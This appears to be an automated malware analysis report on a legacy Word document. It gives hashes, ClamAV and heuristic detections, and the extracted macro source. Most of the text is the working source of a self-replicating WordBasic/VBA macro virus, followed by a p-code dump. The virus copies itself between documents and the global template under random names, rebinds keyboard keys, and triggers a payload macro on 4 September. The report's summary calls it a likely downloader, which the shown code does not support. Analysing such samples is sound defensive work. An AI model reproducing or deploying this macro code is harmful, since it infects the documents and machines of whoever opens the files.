Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 49c490cfaa33fe59…

MALICIOUS

Office (OLE)

44.0 KB Created: 1998-01-26 08:46:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 369b85b8e213fb2e1168e76714e721df SHA-1: 103651ef44571f1ff250af4419ee1977083e0ca3 SHA-256: 49c490cfaa33fe59b1691504d01de1c7ffeaf2c0d63ff000e223afbe550898ad
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample exhibits characteristics of a legacy macro-virus, specifically using WordBasic and VBA macros. The script attempts to save the document in a different format, copy macros, and execute a payload using the ToolsMacro function. The ClamAV detection 'Legacy.Trojan.Agent-645' strongly suggests malicious intent, likely as a downloader or dropper for further malicious activity.

Heuristics 3

  • ClamAV: Legacy.Trojan.Agent-645 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Legacy.Trojan.Agent-645
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 33454 bytes
SHA-256: 9fc1165526319b48f939c7268d68091ef5f94ddfe1d1f6decaaaf7ac139ba125
Detection
ClamAV: Legacy.Trojan.Agent-645
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "BIDQHKJS"

Public Sub MAIN()
Dim A$
Dim CO$
Dim OC$
Dim OCO$
Dim AK$
On Error GoTo -1: On Error GoTo Finish

A$ = WordBasic.[FileName$]()
If A$ = "" Then GoTo Finish

CO$ = WordBasic.[GetProfileString$]("Intl", "Info1")
OC$ = WordBasic.[GetProfileString$]("Intl", "Info2")
OCO$ = WordBasic.[GetProfileString$]("Intl", "Info3")

If VInstalled = 1 Then
    GoTo Finish
Else
    On Error Resume Next
    WordBasic.FileSaveAs Format:=1
    Run1
    Run2
    RunPayload
    WordBasic.FileSaveAll 1, 0
End If

Finish:
A$ = WordBasic.[FileName$]()
If A$ = "" Then
    GoTo Finito
Else
    WordBasic.Insert " "
End If

Finito:
If WordBasic.Month(WordBasic.Now()) = 9 And WordBasic.Day(WordBasic.Now()) = 4 Then
    GoTo Payload
Else
    GoTo No
End If

Payload:
AK$ = WordBasic.[GetProfileString$]("Intl", "Info3")
WordBasic.ToolsMacro Name:=AK$, Run:=1, Show:=0, Description:="", NewName:=""

No:
End Sub

Private Sub Run1()
Dim X$
Dim F$
Dim G$
Dim H$
Dim J$
Dim Y$
Dim Z$
Dim CO$
X$ = Fun$(F$, G$, H$, J$)
Y$ = Fun$(F$, G$, H$, J$)

Z$ = X$ + Y$

CO$ = WordBasic.[GetProfileString$]("Intl", "Info2")
WordBasic.MacroCopy "Global:" + CO$, WordBasic.[FileName$]() + ":" + Z$
WordBasic.SetDocumentVar "VirName", Z$
WordBasic.ToolsCustomizeKeyboard KeyCode:=32, Category:=2, Name:=Z$, Add:=1, Context:=1
End Sub

Private Sub Run2()
Dim X$
Dim F$
Dim G$
Dim H$
Dim J$
Dim Y$
Dim Z$
Dim OC$
X$ = Fun$(F$, G$, H$, J$)
Y$ = Fun$(F$, G$, H$, J$)

Z$ = X$ + Y$

OC$ = WordBasic.[GetProfileString$]("Intl", "Info1")
WordBasic.MacroCopy "Global:" + OC$, WordBasic.[FileName$]() + ":" + Z$
WordBasic.SetDocumentVar "VirNameDoc", Z$
WordBasic.ToolsCustomizeKeyboard KeyCode:=69, Category:=2, Name:=Z$, Add:=1, Context:=1
End Sub

Private Sub RunPayload()
Dim X$
Dim F$
Dim G$
Dim H$
Dim J$
Dim Y$
Dim Z$
Dim OCO$
X$ = Fun$(F$, G$, H$, J$)
Y$ = Fun$(F$, G$, H$, J$)

Z$ = X$ + Y$

OCO$ = WordBasic.[GetProfileString$]("Intl", "Info3")
WordBasic.MacroCopy "Global:" + OCO$, WordBasic.[FileName$]() + ":" + Z$
WordBasic.SetDocumentVar "VirNamePayload", Z$
End Sub

Private Function VInstalled()
Dim CC$
Dim i
On Error Resume Next
CC$ = WordBasic.[GetDocumentVar$]("VirNameDoc")
    VInstalled = 0
    If WordBasic.CountMacros(1) > 0 Then
        For i = 1 To WordBasic.CountMacros(1)
            If WordBasic.[MacroName$](i, 1) = CC$ Then
                VInstalled = 1
            End If
        Next i
    End If
End Function

Private Function Fun$(F$, G$, H$, J$)
Dim One
Dim Two
Dim Num
Dim A$
Dim B$
Dim C$
Dim D$
Dim E$
One = 1169
Two = 9294
Num = WordBasic.Int(Rnd() * (Two - One) + One)
A$ = Str(Num)
A$ = WordBasic.[LTrim$](A$)

B$ = Mid(A$, 1, 1)
C$ = Mid(A$, 2, 1)
D$ = Mid(A$, 3, 1)
E$ = Mid(A$, 4, 1)

If B$ = "1" Then F$ = "A"
If B$ = "2" Then F$ = "B"
If B$ = "3" Then F$ = "C"
If B$ = "4" Then F$ = "D"
If B$ = "5" Then F$ = "E"
If B$ = "6" Then F$ = "F"
If B$ = "7" Then F$ = "G"
If B$ = "8" Then F$ = "H"
If B$ = "9" Then F$ = "I"
If B$ = "0" Then F$ = "J"

If C$ = "1" Then G$ = "H"
If C$ = "2" Then G$ = "I"
If C$ = "3" Then G$ = "J"
If C$ = "4" Then G$ = "K"
If C$ = "5" Then G$ = "L"
If C$ = "6" Then G$ = "M"
If C$ = "7" Then G$ = "N"
If C$ = "8" Then G$ = "O"
If C$ = "9" Then G$ = "P"
If C$ = "0" Then G$ = "Q"

If D$ = "1" Then H$ = "A"
If D$ = "2" Then H$ = "B"
If D$ = "3" Then H$ = "C"
If D$ = "4" Then H$ = "D"
If D$ = "5" Then H$ = "E"
If D$ = "6" Then H$ = "F"
If D$ = "7" Then H$ = "G"
If D$ = "8" Then H$ = "H"
If D$ = "9" Then H$ = "I"
If D$ = "0" Then H$ = "J"

If E$ = "1" Then J$ = "R"
If E$ = "2" Then J$ = "S"
If E$ = "3" Then J$ = "T"
If E$ = "4" Then J$ = "U"
If E$ = "5" Then J$ = "V"
If E$ = "6" Then J$ = "W"
If E$ = "7" Then J$ = "X"
If E$ = "8" Then J$ = "Y"
If E$ = "9" Then J$ = "Z"
If E$ = "0" Then J$ = "Q"

Fun$ = F$ + G$ + H$ + J$
End Function

Attribute VB_Name = "BIAWFPJU"

Public Sub MAIN()
Dim A$
On Error GoTo -1: On Error GoTo Done

A$ = WordBasic.[FileName$]()
If A$ = "" Then GoTo Finish

If VInstalled = 0 Then
    Run1
    Run2
    RunPayload
    WordBasic.FileSaveAll 1, 1
Else
    GoTo Done
End If

Done:
A$ = WordBasic.[FileName$]()
If A$ = "" Then
    GoTo Finish
Else
    WordBasic.Insert "e"
End If

Finish:
WordBasic.MsgBox "COE", -8
End Sub

Private Sub Run1()
Dim X$
Dim F$
Dim G$
Dim H$
Dim J$
Dim Y$
Dim Z$
Dim R1$
Dim CO$
X$ = Fun$(F$, G$, H$, J$)
Y$ = Fun$(F$, G$, H$, J$)

Z$ = X$ + Y$

R1$ = WordBasic.[GetDocumentVar$]("VirNameDoc")
CO$ = WordBasic.[FileName$]() + ":" + R1$
WordBasic.MacroCopy CO$, "Global:" + Z$
WordBasic.SetProfileString "Intl", "Info2", Z$
WordBasic.ToolsCustomizeKeyboard KeyCode:=32, Category:=2, Name:=Z$, Add:=1, Context:=0
End Sub

Private Sub Run2()
Dim X$
Dim F$
Dim G$
Dim H$
Dim J$
Dim Y$
Dim Z$
Dim R2$
Dim OC$
X$ = Fun$(F$, G$, H$, J$)
Y$ = Fun$(F$, G$, H$, J$)

Z$ = X$ + Y$

R2$ = WordBasic.[GetDocumentVar$]("VirName")
OC$ = WordBasic.[FileName$]() + ":" + R2$
WordBasic.MacroCopy OC$, "Global:" + Z$
WordBasic.SetProfileString "Intl", "Info1", Z$
WordBasic.ToolsCustomizeKeyboard KeyCode:=69, Category:=2, Name:=Z$, Add:=1, Context:=0
End Sub

Private Sub RunPayload()
Dim X$
Dim F$
Dim G$
Dim H$
Dim J$
Dim Y$
Dim Z$
Dim R3$
Dim OCO$
X$ = Fun$(F$, G$, H$, J$)
Y$ = Fun$(F$, G$, H$, J$)

Z$ = X$ + Y$

R3$ = WordBasic.[GetDocumentVar$]("VirNamePayload")
OCO$ = WordBasic.[FileName$]() + ":" + R3$
WordBasic.MacroCopy OCO$, "Global:" + Z$
WordBasic.SetProfileString "Intl", "Info3", Z$
End Sub

Private Function VInstalled()
Dim CC$
Dim i
CC$ = WordBasic.[GetProfileString$]("Intl", "Info1")
    VInstalled = 0
    If WordBasic.CountMacros(0) > 0 Then
        For i = 1 To WordBasic.CountMacros(0)
        If WordBasic.[MacroName$](i, 0) = CC$ Then
            VInstalled = 1
        End If
    Next i
End If
End Function

Private Function Fun$(F$, G$, H$, J$)
Dim One
Dim Two
Dim Num
Dim A$
Dim B$
Dim C$
Dim D$
Dim E$
One = 1169
Two = 9294
Num = WordBasic.Int(Rnd() * (Two - One) + One)
A$ = Str(Num)
A$ = WordBasic.[LTrim$](A$)

B$ = Mid(A$, 1, 1)
C$ = Mid(A$, 2, 1)
D$ = Mid(A$, 3, 1)
E$ = Mid(A$, 4, 1)

If B$ = "1" Then F$ = "A"
If B$ = "2" Then F$ = "B"
If B$ = "3" Then F$ = "C"
If B$ = "4" Then F$ = "D"
If B$ = "5" Then F$ = "E"
If B$ = "6" Then F$ = "F"
If B$ = "7" Then F$ = "G"
If B$ = "8" Then F$ = "H"
If B$ = "9" Then F$ = "I"
If B$ = "0" Then F$ = "J"

If C$ = "1" Then G$ = "H"
If C$ = "2" Then G$ = "I"
If C$ = "3" Then G$ = "J"
If C$ = "4" Then G$ = "K"
If C$ = "5" Then G$ = "L"
If C$ = "6" Then G$ = "M"
If C$ = "7" Then G$ = "N"
If C$ = "8" Then G$ = "O"
If C$ = "9" Then G$ = "P"
If C$ = "0" Then G$ = "Q"

If D$ = "1" Then H$ = "A"
If D$ = "2" Then H$ = "B"
If D$ = "3" Then H$ = "C"
If D$ = "4" Then H$ = "D"
If D$ = "5" Then H$ = "E"
If D$ = "6" Then H$ = "F"
If D$ = "7" Then H$ = "G"
If D$ = "8" Then H$ = "H"
If D$ = "9" Then H$ = "I"
If D$ = "0" Then H$ = "J"

If E$ = "1" Then J$ = "R"
If E$ = "2" Then J$ = "S"
If E$ = "3" Then J$ = "T"
If E$ = "4" Then J$ = "U"
If E$ = "5" Then J$ = "V"
If E$ = "6" Then J$ = "W"
If E$ = "7" Then J$ = "X"
If E$ = "8" Then J$ = "Y"
If E$ = "9" Then J$ = "Z"
If E$ = "0" Then J$ = "Q"

Fun$ = F$ + G$ + H$ + J$
End Function

Attribute VB_Name = "AIHYFNFR"

Public Sub MAIN()

WordBasic.SetProfileString "windows", "Program", ""
End Sub

' Processing file: /tmp/qstore_c6ac32f3
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/BIDQHKJS - 9195 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn A
' Line #3:
' 	Dim 
' 	VarDefn CO
' Line #4:
' 	Dim 
' 	VarDefn OC
' Line #5:
' 	Dim 
' 	VarDefn OCO
' Line #6:
' 	Dim 
' 	VarDefn AK
' Line #7:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Finish 
' Line #8:
' Line #9:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St A$ 
' Line #10:
' 	Ld A$ 
' 	LitStr 0x0000 ""
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	GoTo Finish 
' 	EndIf 
' Line #11:
' Line #12:
' 	LitStr 0x0004 "Intl"
' 	LitStr 0x0005 "Info1"
' 	Ld WordBasic 
' 	ArgsMemLd [GetProfileString$] 0x0002 
' 	St CO$ 
' Line #13:
' 	LitStr 0x0004 "Intl"
' 	LitStr 0x0005 "Info2"
' 	Ld WordBasic 
' 	ArgsMemLd [GetProfileString$] 0x0002 
' 	St OC$ 
' Line #14:
' 	LitStr 0x0004 "Intl"
' 	LitStr 0x0005 "Info3"
' 	Ld WordBasic 
' 	ArgsMemLd [GetProfileString$] 0x0002 
' 	St OCO$ 
' Line #15:
' Line #16:
' 	Ld VInstalled 
' 	LitDI2 0x0001 
' 	Eq 
' 	IfBlock 
' Line #17:
' 	GoTo Finish 
' Line #18:
' 	ElseBlock 
' Line #19:
' 	OnError (Resume Next) 
' Line #20:
' 	LitDI2 0x0001 
' 	ParamNamed Format$ 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #21:
' 	ArgsCall Run1 0x0000 
' Line #22:
' 	ArgsCall Run2 0x0000 
' Line #23:
' 	ArgsCall RunPayload 0x0000 
' Line #24:
' 	LitDI2 0x0001 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAll 0x0002 
' Line #25:
' 	EndIfBlock 
' Line #26:
' Line #27:
' 	Label Finish 
' Line #28:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St A$ 
' Line #29:
' 	Ld A$ 
' 	LitStr 0x0000 ""
' 	Eq 
' 	IfBlock 
' Line #30:
' 	GoTo Finito 
' Line #31:
' 	ElseBlock 
' Line #32:
' 	LitStr 0x0001 " "
' 	Ld WordBasic 
' 	ArgsMemCall Insert 0x0001 
' Line #33:
' 	EndIfBlock 
' Line #34:
' Line #35:
' 	Label Finito 
' Line #36:
' 	Ld WordBasic 
' 	ArgsMemLd Now 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd Month 0x0001 
' 	LitDI2 0x0009 
' 	Eq 
' 	Ld WordBasic 
' 	ArgsMemLd Now 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd Day 0x0001 
' 	LitDI2 0x0004 
' 	Eq 
' 	And 
' 	IfBlock 
' Line #37:
' 	GoTo Payload 
' Line #38:
' 	ElseBlock 
' Line #39:
' 	GoTo No 
' Line #40:
' 	EndIfBlock 
' Line #41:
' Line #42:
' 	Label Payload 
' Line #43:
' 	LitStr 0x0004 "Intl"
' 	LitStr 0x0005 "Info3"
' 	Ld WordBasic 
' 	ArgsMemLd [GetProfileString$] 0x0002 
' 	St AK$ 
' Line #44:
' 	Ld AK$ 
' 	ParamNamed New 
' 	LitDI2 0x0001 
' 	ParamNamed Run 
' 	LitDI2 0x0000 
' 	ParamNamed Show 
' 	LitStr 0x0000 ""
' 	ParamNamed Description 
' 	LitStr 0x0000 ""
' 	ParamNamed NewName 
' 	Ld WordBasic 
' 	ArgsMemCall ToolsMacro 0x0005 
' Line #45:
' Line #46:
' 	Label No 
' Line #47:
' 	EndSub 
' Line #48:
' Line #49:
' 	FuncDefn (Private Sub Run1())
' Line #50:
' 	Dim 
' 	VarDefn X
' Line #51:
' 	Dim 
' 	VarDefn False
' Line #52:
' 	Dim 
' 	VarDefn G
' Line #53:
' 	Dim 
' 	VarDefn H
' Line #54:
' 	Dim 
' 	VarDefn J
' Line #55:
' 	Dim 
' 	VarDefn Y
' Line #56:
' 	Dim 
' 	VarDefn Z
' Line #57:
' 	Dim 
' 	VarDefn CO
' Line #58:
' 	Ld False$ 
' 	Ld G$ 
' 	Ld H$ 
' 	Ld J$ 
' 	ArgsLd Fun$ 0x0004 
' 	St X$ 
' Line #59:
' 	Ld False$ 
' 	Ld G$ 
' 	Ld H$ 
' 	Ld J$ 
' 	ArgsLd Fun$ 0x0004 
' 	St Y$ 
' Line #60:
' Line #61:
' 	Ld X$ 
' 	Ld Y$ 
' 	Add 
' 	St Z$ 
' Line #62:
' Line #63:
' 	LitStr 0x0004 "Intl"
' 	LitStr 0x0005 "Info2"
' 	Ld WordBasic 
' 	ArgsMemLd [GetProfileString$] 0x0002 
' 	St CO$ 
' Line #64:
' 	LitStr 0x0007 "Global:"
' 	Ld CO$ 
' 	Add 
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0001 ":"
' 	Add 
' 	Ld Z$ 
' 	Add 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #65:
' 	LitStr 0x0007 "VirName"
' 	Ld Z$ 
' 	Ld WordBasic 
' 	ArgsMemCall SetDocumentVar 0x0002 
' Line #66:
' 	LitDI2 0x0020 
' 	ParamNamed KeyCode 
' 	LitDI2 0x0002 
' 	ParamNamed Category 
' 	Ld Z$ 
' 	ParamNamed New 
' 	LitDI2 0x0001 
' 	ParamNamed Add 
' 	LitDI2 0x0001 
' 	ParamNamed Context 
' 	Ld WordBasic 
' 	ArgsMemCall ToolsCustomizeKeyboard 0x0005 
' Line #67:
' 	EndSub 
' Line #68:
' Line #69:
' 	FuncDefn (Private Sub Run2())
' Line #70:
' 	Dim 
' 	VarDefn X
' Line #71:
' 	Dim 
' 	VarDefn False
' Line #72:
' 	Dim 
' 	VarDefn G
' Line #73:
' 	Dim 
' 	VarDefn H
' Line #74:
' 	Dim 
' 	VarDefn J
' Line #75:
' 	Dim 
' 	VarDefn Y
' Line #76:
' 	Dim 
' 	VarDefn Z
' Line #77:
' 	Dim 
' 	VarDefn OC
' Line #78:
' 	Ld False$ 
' 	Ld G$ 
' 	Ld H$ 
' 	Ld J$ 
' 	ArgsLd Fun$ 0x0004 
' 	St X$ 
' Line #79:
' 	Ld False$ 
' 	Ld G$ 
' 	Ld H$ 
' 	Ld J$ 
' 	ArgsLd Fun$ 0x0004 
' 	St Y$ 
' Line #80:
' Line #81:
' 	Ld X$ 
' 	Ld Y$ 
' 	Add 
' 	St Z$ 
' Line #82:
' Line #83:
' 	LitStr 0x0004 "Intl"
' 	LitStr 0x0005 "Info1"
' 	Ld WordBasic 
' 	ArgsMemLd [GetProfileString$] 0x0002 
' 	St OC$ 
' Line #84:
' 	LitStr 0x0007 "Global:"
' 	Ld OC$ 
' 	Add 
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0001 ":"
' 	Add 
' 	Ld Z$ 
' 	Add 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #85:
' 	LitStr 0x000A "VirNameDoc"
' 	Ld Z$ 
' 	Ld WordBasic 
' 	ArgsMemCall SetDocumentVar 0x0002 
' Line #86:
' 	LitDI2 0x0045 
' 	ParamNamed KeyCode 
' 	LitDI2 0x0002 
' 	ParamNamed Category 
' 	Ld Z$ 
' 	ParamNamed New 
' 	LitDI2 0x0001 
' 	ParamNamed Add 
' 	LitDI2 0x0001 
' 	ParamNamed Context 
' 	Ld WordBasic 
' 	ArgsMemCall ToolsCustomizeKeyboard 0x0005 
' Line #87:
' 	EndSub 
' Line #88:
' Line #89:
' 	FuncDefn (Private Sub RunPayload())
' Line #90:
' 	Dim 
' 	VarDefn X
' Line #91:
' 	Dim 
' 	VarDefn False
' Line #92:
' 	Dim 
' 	VarDefn G
' Line #93:
' 	Dim 
' 	VarDefn H
' Line #94:
' 	Dim 
' 	VarDefn J
' Line #95:
' 	Dim 
' 	VarDefn Y
' Line #96:
' 	Dim 
' 	VarDefn Z
' Line #97:
' 	Dim 
' 	VarDefn OCO
' Line #98:
' 	Ld False$ 
' 	Ld G$ 
' 	Ld H$ 
' 	Ld J$ 
' 	ArgsLd Fun$ 0x0004 
' 	St X$ 
' Line #99:
' 	Ld False$ 
' 	Ld G$ 
' 	Ld H$ 
' 	Ld J$ 
' 	ArgsLd Fun$ 0x0004 
' 	St Y$ 
' Line #100:
' Line #101:
' 	Ld X$ 
' 	Ld Y$ 
' 	Add 
' 	St Z$ 
' Line #102:
' Line #103:
' 	LitStr 0x0004 "Intl"
' 	LitStr 0x0005 "Info3"
' 	Ld WordBasic 
' 	ArgsMemLd [GetProfileString$] 0x0002 
' 	St OCO$ 
' Line #104:
' 	LitStr 0x0007 "Global:"
' 	Ld OCO$ 
' 	Add 
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0001 ":"
' 	Add 
' 	Ld Z$ 
' 	Add 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #105:
' 	LitStr 0x000E "VirNamePayload"
' 	Ld Z$ 
' 	Ld WordBasic 
' 	ArgsMemCall SetDocumentVar 0x0002 
' Line #106:
' 	EndSub 
' Line #107:
' Line #108:
' 	FuncDefn (Private Function VInstalled())
' Line #109:
' 	Dim 
' 	VarDefn CC
' Line #110:
' 	Dim 
' 	VarDefn i
' Line #111:
' 	OnError (Resume Next) 
' Line #112:
' 	LitStr 0x000A "VirNameDoc"
' 	Ld WordBasic 
' 	ArgsMemLd [GetDocumentVar$] 0x0001 
' 	St CC$ 
' Line #113:
' 	LitDI2 0x0000 
' 	St VInstalled 
' Line #114:
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0001 
' 	LitDI2 0x0000 
' 	Gt 
' 	IfBlock 
' Line #115:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0001 
' 	For 
' Line #116:
' 	Ld i 
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0002 
' 	Ld CC$ 
' 	Eq 
' 	IfBlock 
' Line #117:
' 	LitDI2 0x0001 
' 	St VInstalled 
' Line #118:
' 	EndIfBlock 
' Line #119:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #120:
' 	EndIfBlock 
' Line #121:
' 	EndFunc 
' Line #122:
' Line #123:
' 	FuncDefn (Private Function Fun(False, G, H, J))
' Line #124:
' 	Dim 
' 	VarDefn One
' Line #125:
' 	Dim 
' 	VarDefn Two
' Line #126:
' 	Dim 
' 	VarDefn Num
' Line #127:
' 	Dim 
' 	VarDefn A
' Line #128:
' 	Dim 
' 	VarDefn B
' Line #129:
' 	Dim 
' 	VarDefn C
' Line #130:
' 	Dim 
' 	VarDefn D
' Line #131:
' 	Dim 
' 	VarDefn E
' Line #132:
' 	LitDI2 0x0491 
' 	St One 
' Line #133:
' 	LitDI2 0x244E 
' 	St Two 
' Line #134:
' 	ArgsLd Rnd 0x0000 
' 	Ld Two 
' 	Ld One 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Ld One 
' 	Add 
' 	Ld WordBasic 
' 	ArgsMemLd InStrB 0x0001 
' 	St Num 
' Line #135:
' 	Ld Num 
' 	ArgsLd Str 0x0001 
' 	St A$ 
' Line #136:
' 	Ld A$ 
' 	Ld WordBasic 
' 	ArgsMemLd [LTrim$] 0x0001 
' 	St A$ 
' Line #137:
' Line #138:
' 	Ld A$ 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	St B$ 
' Line #139:
' 	Ld A$ 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	St C$ 
' Line #140:
' 	Ld A$ 
' 	LitDI2 0x0003 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	St D$ 
' Line #141:
' 	Ld A$ 
' 	LitDI2 0x0004 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	St E$ 
' Line #142:
' Line #143:
' 	Ld B$ 
' 	LitStr 0x0001 "1"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0001 "A"
' 	St False$ 
' 	EndIf 
' Line #144:
' 	Ld B$ 
' 	LitStr 0x0001 "2"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0001 "B"
' 	St False$ 
' 	EndIf 
' Line #145:
' 	Ld B$ 
' 	LitStr 0x0001 "3"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0001 "C"
' 	St False$ 
' 	EndIf 
' Line #146:
' 	Ld B$ 
' 	LitStr 0x0001 "4"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0001 "D"
' 	St False$ 
' 	EndIf 
' Line #147:
' 	Ld B$ 
' 	LitStr 0x0001 "5"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0001 "E"
' 	St False$ 
' 	EndIf 
' Line #148:
' 	Ld B$ 
' 	LitStr 0x0001 "6"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0001 "F"
' 	St False$ 
' 	EndIf 
' Line #149:
' 	Ld B$ 
' 	LitStr 0x0001 "7"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0001 "G"
' 	St False$ 
' 	EndIf 
' Line #150:
' 	Ld B$ 
' 	LitStr 0x0001 "8"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0001 "H"
' 	St False$ 
' 	EndIf 
…

Open this report in the interactive analyzer, or submit your own file for analysis.